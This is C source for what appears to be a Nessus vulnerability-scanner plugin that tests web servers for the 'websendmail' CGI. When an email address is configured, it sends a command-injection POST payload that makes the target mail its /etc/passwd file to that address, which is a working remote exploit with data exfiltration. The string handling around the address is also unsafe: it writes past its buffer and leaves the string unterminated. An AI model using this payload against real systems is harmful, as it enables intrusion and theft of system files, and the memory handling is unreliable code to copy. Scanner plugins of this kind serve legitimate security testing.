/*
 * 
 * websendmail
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "websendmail"
#define DESC "Determination of the presence of the 'websendmail' cgi"
#define COPYRIGHT "no copyright"
#define SUMM "determines the presence of the 'websendmail' cgi"



PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "CGI abuses");
	return(0);
}


PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	
	if(host_get_port_state(args, 80)<=0)return(0);
	
	
	if(is_cgi_installed(args, "websendmail"))
	{
	char * email = get_preference(args, "email");
	
	int soc = open_sock_tcp(args, 80);

	if((soc<=0) || (email == NULL))
	 {
	 post_hole(args, 80, "The 'websendmail' cgi is present\nRemote commands may be executed");
	 close(soc);
	 }
	else {
		char * emaill;
		int i=0;
		char * command;
		char * main_command;
		char * result = emalloc(200);
		int length;
		
		emaill  = emalloc(strlen(email) + 1);
		while(email[i]!='@')
		{
		 emaill[i] = email[i];
		 i++;
		}
		emaill[i]='\\';
		while(email[i])
		{
		emaill[i+1] = email[i];
		i++;
		}
	  	command = emalloc(512);
	  	sprintf(command,
	  	"receiver=;mail+%s</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a", 
	  	 emaill);
	  	 
		length = strlen(command);
		
		main_command = emalloc(length + 100);
		
		sprintf(main_command,
		"POST /cgi-bin/websendmail HTTP/1.0\n"\
		"Content-length: %d\n"\
		"%s\n\n", length, command);
		
		send(soc, main_command, strlen(main_command), 0);
		sprintf(result, "The 'websendmail' cgi is present\nWe attempted to send /etc/passwd to %s\n", email);
		post_hole(args, 80, result);
		efree(&emaill);
		efree(&result);
		efree(&email);
		efree(&command);efree(&main_command);
		socket_close(soc);
		}
	}
	return(0);
}

